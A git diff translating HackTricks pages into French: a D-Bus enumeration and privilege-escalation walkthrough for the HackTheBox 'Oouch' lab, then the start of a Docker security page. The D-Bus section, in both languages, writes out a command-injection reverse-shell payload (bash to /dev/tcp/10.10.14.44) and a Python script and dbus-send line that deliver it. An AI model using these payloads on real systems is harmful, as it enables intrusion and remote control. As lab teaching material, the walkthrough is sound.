peut le voir dans la Figure 2. Notez que nous obtenons également la signature de chaque méthode **IPC exposée**. -We can also see the **pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research. +Nous pouvons également voir le **pid du processus** qui héberge chaque service, ainsi que sa **ligne de commande**. Il s'agit d'une fonctionnalité très utile, car nous pouvons valider que le service cible que nous inspectons s'exécute effectivement avec des privilèges plus élevés. Certains services sur le bus système ne s'exécutent pas en tant que root, et sont donc moins intéressants à étudier. -D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service. +D-Feet permet également d'appeler les différentes méthodes. Dans l'écran d'entrée de méthode, nous pouvons spécifier une liste d'expressions Python, délimitées par des virgules, à interpréter comme les paramètres de la fonction invoquée, comme on peut le voir dans la Figure 3. Les types Python sont encapsulés dans des types D-Bus et transmis au service. ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-23.png) -_Figure 3. Calling D-Bus Methods through D-Feet_ +_Figure 3. Appel de méthodes D-Bus via D-Feet_ -Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +Certaines méthodes nécessitent une authentification avant de nous permettre de les invoquer. Nous ignorerons ces méthodes, car notre objectif est d'élever nos privilèges sans identifiants en premier lieu. ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-24.png) -_Figure 4. A method that requires authorization_ +_Figure 4. Une méthode qui nécessite une autorisation_ -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +Notez également que certains des services interrogent un autre service D-Bus nommé org.freedeskto.PolicyKit1 pour savoir si un utilisateur doit être autorisé à effectuer certaines actions ou non. -## **Cmd line Enumeration** +## **Énumération de la ligne de commande** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### Liste des objets de service +Il est possible de lister les interfaces D-Bus ouvertes avec : ```bash busctl list #List D-Bus interfaces @@ -81,15 +64,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### Connexions -#### Connections +Lorsqu'un processus établit une connexion à un bus, le bus attribue à la connexion un nom de bus spécial appelé _nom de connexion unique_. Les noms de bus de ce type sont immuables - il est garanti qu'ils ne changeront pas tant que la connexion existe - et, plus important encore, ils ne peuvent pas être réutilisés pendant la durée de vie du bus. Cela signifie qu'aucune autre connexion à ce bus n'aura jamais un nom de connexion unique attribué, même si le même processus ferme la connexion au bus et en crée une nouvelle. Les noms de connexion uniques sont facilement reconnaissables car ils commencent par le caractère deux-points - qui est autrement interdit. -When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### Informations sur l'objet de service +Ensuite, vous pouvez obtenir des informations sur l'interface avec: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -149,11 +130,9 @@ BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read ``` +### Liste des interfaces d'un objet de service -### List Interfaces of a Service Object - -You need to have enough permissions. - +Vous devez avoir suffisamment de permissions. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object @@ -161,11 +140,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb/oouch └─/htb/oouch/Block ``` +### Interface d'introspection d'un objet de service -### Introspect Interface of a Service Object - -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +Notez comment dans cet exemple, l'interface la plus récente découverte en utilisant le paramètre `tree` a été sélectionnée (_voir la section précédente_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -183,29 +160,25 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +Notez la méthode `.Block` de l'interface `htb.oouch.Block` (celle qui nous intéresse). Le "s" des autres colonnes peut signifier qu'elle attend une chaîne de caractères. -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### Interface de surveillance/capture -### Monitor/Capture Interface +Avec suffisamment de privilèges (juste `send_destination` et `receive_sender` ne suffisent pas), vous pouvez **surveiller une communication D-Bus**. -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +Pour **surveiller** une **communication**, vous devrez être **root**. Si vous rencontrez encore des problèmes pour être root, consultez [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) et [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) {% hint style="warning" %} -If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! +Si vous savez comment configurer un fichier de configuration D-Bus pour **autoriser les utilisateurs non root à renifler** la communication, veuillez **me contacter** ! {% endhint %} -Different ways to monitor: - +Différentes façons de surveiller : ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +Dans l'exemple suivant, l'interface `htb.oouch.Block` est surveillée et **le message "**_**lalalalal**_**" est envoyé par erreur** : ```bash busctl monitor htb.oouch.Block @@ -224,19 +197,15 @@ Monitoring bus message stream. STRING "Carried out :D"; }; ``` +Vous pouvez utiliser `capture` à la place de `monitor` pour enregistrer les résultats dans un fichier pcap. -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### Filtrer tout le bruit +S'il y a trop d'informations sur le bus, passez une règle de correspondance comme ceci: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +Plusieurs règles peuvent être spécifiées. Si un message correspond à _n'importe quelle_ règle, le message sera imprimé. Comme ceci: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -244,17 +213,15 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +Voir la [documentation D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) pour plus d'informations sur la syntaxe des règles de correspondance. -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### Plus -### More +`busctl` a encore plus d'options, [**trouvez-les toutes ici**](https://www.freedesktop.org/software/systemd/man/busctl.html). -`busctl` have even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **Scénario vulnérable** +En tant qu'utilisateur **qtc à l'intérieur de l'hôte "oouch" de HTB**, vous pouvez trouver un **fichier de configuration D-Bus inattendu** situé dans _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```markup @@ -275,11 +242,9 @@ As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D- ``` +Notez que pour envoyer et recevoir des informations via cette communication D-BUS, **vous devrez être l'utilisateur `root` ou `www-data`**. -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +En tant qu'utilisateur **qtc** à l'intérieur du conteneur Docker **aeb4525789d8**, vous pouvez trouver du code lié à dbus dans le fichier _/code/oouch/routes.py._ Voici le code intéressant : ```python if primitive_xss.search(form.textfield.data): bus = dbus.SystemBus() @@ -291,16 +256,14 @@ if primitive_xss.search(form.textfield.data): bus.close() return render_template('hacker.html', title='Hacker') ``` +Comme vous pouvez le voir, il se **connecte à une interface D-Bus** et envoie à la fonction **"Block"** l'adresse IP du client. -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client\_ip". +De l'autre côté de la connexion D-Bus, il y a un binaire compilé en C en cours d'exécution. Ce code **écoute** la connexion D-Bus **pour l'adresse IP et appelle iptables via la fonction `system`** pour bloquer l'adresse IP donnée.\ +**L'appel à `system` est vulnérable à des fins de commande injection**, donc une charge utile comme celle-ci créera un shell inversé: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### Exploitez-le +À la fin de cette page, vous pouvez trouver le **code C complet de l'application D-Bus**. À l'intérieur, entre les lignes 91 et 97, vous pouvez trouver **comment le `chemin d'objet D-Bus`** et le **`nom d'interface`** sont **enregistrés**. Ces informations seront nécessaires pour envoyer des informations à la connexion D-Bus. ```c /* Install the object */ r = sd_bus_add_object_vtable(bus, @@ -310,17 +273,13 @@ At the end of this page you can find the **complete C code of the D-Bus applicat block_vtable, NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +De plus, à la ligne 57, vous pouvez constater que **la seule méthode enregistrée** pour cette communication D-Bus s'appelle `Block` (_**C'est pourquoi dans la section suivante, les charges utiles seront envoyées à l'objet de service `htb.oouch.Block`, à l'interface `/htb/oouch/Block` et au nom de méthode `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +Le code Python suivant enverra la charge utile à la connexion D-Bus vers la méthode `Block` via `block_iface.Block(runme)` (_notez qu'il a été extrait du chunk de code précédent_): ```python import dbus bus = dbus.SystemBus() @@ -330,23 +289,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl et dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +* `dbus-send` est un outil utilisé pour envoyer des messages au "Message Bus". +* Message Bus - Un logiciel utilisé par les systèmes pour faciliter les communications entre les applications. Il est lié à la file d'attente de messages (les messages sont ordonnés en séquence), mais dans Message Bus, les messages sont envoyés dans un modèle d'abonnement et sont également très rapides. +* L'étiquette "-system" est utilisée pour indiquer qu'il s'agit d'un message système, pas d'un message de session (par défaut). +* L'étiquette "--print-reply" est utilisée pour imprimer notre message de manière appropriée et recevoir toutes les réponses dans un format lisible par l'homme. +* "--dest=Dbus-Interface-Block" est l'adresse de l'interface Dbus. +* "--string:" - Type de message que nous souhaitons envoyer à l'interface. Il existe plusieurs formats d'envoi de messages tels que double, bytes, booleans, int, objpath. Parmi ceux-ci, le "chemin d'objet" est utile lorsque nous voulons envoyer un chemin d'accès à un fichier à l'interface Dbus. Nous pouvons utiliser un fichier spécial (FIFO) dans ce cas pour transmettre une commande à l'interface au nom d'un fichier. "string: ;" - Cela sert à rappeler le chemin d'objet où nous plaçons le fichier shell FIFO/commande inversée. -* `dbus-send` is a tool used to send message to “Message Bus” -* Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -* “-system” tag is used to mention that it is a system message, not a session message (by default). -* “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -* “–dest=Dbus-Interface-Block” The address of the Dbus interface. -* “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. +Notez que dans `htb.oouch.Block.Block`, la première partie (`htb.oouch.Block`) fait référence à l'objet de service et la dernière partie (`.Block`) fait référence au nom de la méthode. -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ - -### C code +### Code C {% code title="d-bus_server.c" %} ```c @@ -495,10 +451,10 @@ finish: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 6d4ee6d68..805bb007d 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,10 +1,9 @@ -# Docker Security +# Sécurité Docker ![](<../../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,55 +11,52 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -## **Basic Docker Engine Security** +## **Sécurité de base du moteur Docker** -Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. It also uses features like **Capabilities dropping**, **Seccomp**, **SELinux/AppArmor to achieve a better isolation**. +Le moteur Docker effectue le gros du travail d'exécution et de gestion des conteneurs. Le moteur Docker utilise des fonctionnalités du noyau Linux telles que les **espaces de noms** et les **cgroups** pour fournir une **isolation de base** entre les conteneurs. Il utilise également des fonctionnalités telles que la **suppression des capacités**, **Seccomp**, **SELinux/AppArmor pour une meilleure isolation**. -Finally, an **auth plugin** can be used to **limit the actions** users can perform. +Enfin, un **plugin d'authentification** peut être utilisé pour **limiter les actions** que les utilisateurs peuvent effectuer. ![](<../../../.gitbook/assets/image (625) (1) (1).png>) -### **Docker engine secure access** +### **Accès sécurisé au moteur Docker** -Docker client can access Docker engine **locally using Unix socket or remotely using http** mechanism. To use it remotely, it is needed to use https and **TLS** so that confidentiality, integrity and authentication can be ensured. - -By default listens on the Unix socket `unix:///var/`\ -`run/docker.sock` and in Ubuntu distributions, Docker start options are specified in `/etc/default/docker`. To allow Docker API and client to access Docker engine remotely, we need to **expose Docker daemon using http socket**. This can be done by: +Le client Docker peut accéder au moteur Docker **localement en utilisant un socket Unix ou à distance en utilisant le mécanisme http**. Pour l'utiliser à distance, il est nécessaire d'utiliser https et **TLS** afin que la confidentialité, l'intégrité et l'authentification puissent être assurées. +Par défaut, il écoute sur le socket Unix `unix:///var/`\ +`run/docker.sock` et dans les distributions Ubuntu, les options de démarrage de Docker sont spécifiées dans `/etc/default/docker`. Pour permettre à l'API et au client Docker d'accéder au moteur Docker à distance, nous devons **exposer le démon Docker en utilisant un socket http**. Cela peut être fait en : ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" -> add this to /etc/default/docker Sudo service docker restart -> Restart Docker daemon ``` +Exposer le démon Docker en utilisant http n'est pas une bonne pratique et il est nécessaire de sécuriser la connexion en utilisant https. Il existe deux options : la première option est pour que **le client vérifie l'identité du serveur** et la deuxième option est pour que **le client et le serveur se vérifient mutuellement leur identité**. Les certificats établissent l'identité d'un serveur. Pour un exemple des deux options, [**consultez cette page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -Exposing Docker daemon using http is not a good practice and it is needed to secure the connection using https. There are two options: first option is for **client to verify server identity** and in second option **both client and server verify each other’s identity**. Certificates establish the identity of a server. For an example of both options [**check this page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### **Sécurité de l'image du conteneur** -### **Container image security** +Les images de conteneurs sont stockées soit dans un référentiel privé, soit dans un référentiel public. Voici les options que Docker fournit pour stocker les images de conteneurs : -Container images are stored either in private repository or public repository. Following are the options that Docker provides for storing Container images: +* [Docker hub](https://hub.docker.com) - Il s'agit d'un service de registre public fourni par Docker. +* [Docker registry](https://github.com/%20docker/distribution) - Il s'agit d'un projet open source que les utilisateurs peuvent utiliser pour héberger leur propre registre. +* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) - Il s'agit de la mise en œuvre commerciale de Docker registry par Docker et il fournit une authentification des utilisateurs basée sur les rôles ainsi qu'une intégration de service de répertoire LDAP. -* [Docker hub](https://hub.docker.com) – This is a public registry service provided by Docker -* [Docker registry](https://github.com/%20docker/distribution) – This is an open source project that users can use to host their own registry. -* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – This is Docker’s commercial implementation of Docker registry and it provides role based user authentication along with LDAP directory service integration. +### Analyse d'image -### Image Scanning +Les conteneurs peuvent avoir des **vulnérabilités de sécurité** soit en raison de l'image de base, soit en raison du logiciel installé sur l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec le référentiel de vulnérabilité pour identifier les failles de sécurité. -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. +Pour plus d'**informations, lisez ceci** (https://docs.docker.com/engine/scan/). -For more [**information read this**](https://docs.docker.com/engine/scan/). - -#### How to scan images - -The `docker scan` command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: +#### Comment analyser les images +La commande `docker scan` vous permet d'analyser les images Docker existantes en utilisant le nom ou l'ID de l'image. Par exemple, exécutez la commande suivante pour analyser l'image hello-world : ```bash docker scan hello-world @@ -76,28 +72,24 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` +### Signature de l'image Docker -### Docker Image Signing +Les images de conteneurs Docker peuvent être stockées dans un registre public ou privé. Il est nécessaire de **signer** les images de conteneurs pour pouvoir confirmer que les images n'ont pas été altérées. L'éditeur de contenu se charge de **signer** l'image de conteneur et de la pousser dans le registre.\ +Voici quelques détails sur la confiance du contenu Docker : -Docker Container images can be stored either in public or private registry. It is needed to **sign** **Container** images to be able to confirm images haven't being tampered. Content **publisher** takes care of **signing** Container image and pushing it into the registry.\ -Following are some details on Docker content trust: - -* The Docker content trust is an implementation of the [Notary open source project](https://github.com/docker/notary). The Notary open source project is based on [The Update Framework (TUF) project](https://theupdateframework.github.io). -* Docker content **trust is enabled** with `export DOCKER_CONTENT_TRUST=1`. As of Docker version 1.10, content trust is **not enabled by default**. -* **When** content trust is **enabled**, we can **pull only signed images**. When image is pushed, we need to enter tagging key. -* When the publisher **pushes** the image for the **first** **time** using docker push, there is a need to enter a **passphrase** for the **root key and tagging key**. Other keys are generated automatically. -* Docker has also added support for hardware keys using Yubikey and details are available [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - -Following is the **error** we get when **content trust is enabled and image is not signed**. +* La confiance du contenu Docker est une implémentation du projet open source [Notary](https://github.com/docker/notary). Le projet open source Notary est basé sur le projet [The Update Framework (TUF)](https://theupdateframework.github.io). +* La confiance du contenu Docker est activée avec `export DOCKER_CONTENT_TRUST=1`. À partir de la version Docker 1.10, la confiance du contenu n'est **pas activée par défaut**. +* **Lorsque** la confiance du contenu est **activée**, nous ne pouvons **tirer que des images signées**. Lorsque l'image est poussée, nous devons entrer la clé de balisage. +* Lorsque l'éditeur **pousse** l'image pour la **première fois** en utilisant docker push, il est nécessaire d'entrer une **phrase secrète** pour la **clé racine et la clé de balisage**. Les autres clés sont générées automatiquement. +* Docker a également ajouté la prise en charge de clés matérielles en utilisant Yubikey et les détails sont disponibles [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +Voici l'**erreur** que nous obtenons lorsque la **confiance du contenu est activée et que l'image n'est pas signée**. ```shell-session $ docker pull smakam/mybusybox Using default tag: latest No trust data for latest ``` - -Following output shows Container **image being pushed to Docker hub with signing** enabled. Since this is not the first time, user is requested to enter only the passphrase for repository key. - +Le résultat suivant montre que l'image de conteneur est en cours de téléversement vers Docker Hub avec la signature activée. Comme ce n'est pas la première fois, l'utilisateur est invité à entrer uniquement la phrase secrète pour la clé de dépôt. ```shell-session $ docker push smakam/mybusybox:v2 The push refers to a repository [docker.io/smakam/mybusybox] @@ -108,45 +100,42 @@ v2: digest: sha256:8509fa814029e1c1baf7696b36f0b273492b87f59554a33589e1bd6283557 Signing and pushing trust metadata Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox): ``` - -It is needed to store root key, repository key as well as passphrase in a safe place. Following command can be used to take backup of private keys: - +Il est nécessaire de stocker la clé racine, la clé de dépôt ainsi que la phrase secrète dans un endroit sûr. La commande suivante peut être utilisée pour sauvegarder les clés privées: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` - -When I changed Docker host, I had to move the root keys and repository keys to operate from the new host. +Lorsque j'ai changé d'hôte Docker, j'ai dû déplacer les clés racine et les clés de dépôt pour pouvoir opérer à partir du nouvel hôte. ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Containers Security Features +## Fonctionnalités de sécurité des conteneurs
-Summary of Container Security Features +Résumé des fonctionnalités de sécurité des conteneurs #### Namespaces -Namespaces are useful to isolate a project from the other ones, isolating process communications, network, mounts... It's useful to isolate the docker process from other processes (and even the /proc folder) so it cannot escape abusing other processes. +Les espaces de noms sont utiles pour isoler un projet des autres, en isolant les communications de processus, le réseau, les montages... Il est utile d'isoler le processus Docker des autres processus (et même du dossier /proc) afin qu'il ne puisse pas s'échapper en abusant d'autres processus. -It could be possible "escape" or more exactly **create new namespaces** using the binary **`unshare`** (that uses the **`unshare`** syscall). Docker by default prevents it, but kubernetes doesn't (at the time of this writtiing).\ -Ayway, this is helpful to create new namespaces, but **not to get back to the host defaults namespaces** (unless you have access to some `/proc` inside the host namespaces, where you could use **`nsenter`** to enter in the host namespaces.). +Il pourrait être possible de "s'échapper" ou plus exactement **créer de nouveaux espaces de noms** en utilisant le binaire **`unshare`** (qui utilise l'appel système **`unshare`**). Docker l'empêche par défaut, mais Kubernetes ne le fait pas (au moment de la rédaction de ceci).\ +De toute façon, cela est utile pour créer de nouveaux espaces de noms, mais **pas pour revenir aux espaces de noms par défaut de l'hôte** (à moins que vous n'ayez accès à certains `/proc` à l'intérieur des espaces de noms de l'hôte, où vous pourriez utiliser **`nsenter`** pour entrer dans les espaces de noms de l'hôte). #### CGroups -This allows to limit resources and doesn't affect the security of the isolation of the process (except for the `release_agent` that could be used to escape). +Cela permet de limiter les ressources et n'affecte pas la sécurité de l'isolation du processus (sauf pour le `release_agent` qui pourrait être utilisé pour s'échapper). -#### Capabilities Drop +#### Abandon des capacités -I find this to be one of the **most important** features regarding the process isolation security. This is because without the capabilities, even if the process is running as root **you won't be able to do some privileged actions** (because the called **`syscall`** will return permission error because the process doesn't have the needed capabilities). +Je trouve que c'est l'une des fonctionnalités les plus importantes en ce qui concerne la sécurité de l'isolation des processus. Cela est dû au fait que sans les capacités, même si le processus s'exécute en tant que root, **vous ne pourrez pas effectuer certaines actions privilégiées** (car l'appel de **`syscall`** renverra une erreur de permission car le processus n'a pas les capacités nécessaires). -These are the **remaining capabilities** after the process drop the others: +Voici les **capacités restantes** après que le processus a abandonné les autres : {% code overflow="wrap" %} ``` @@ 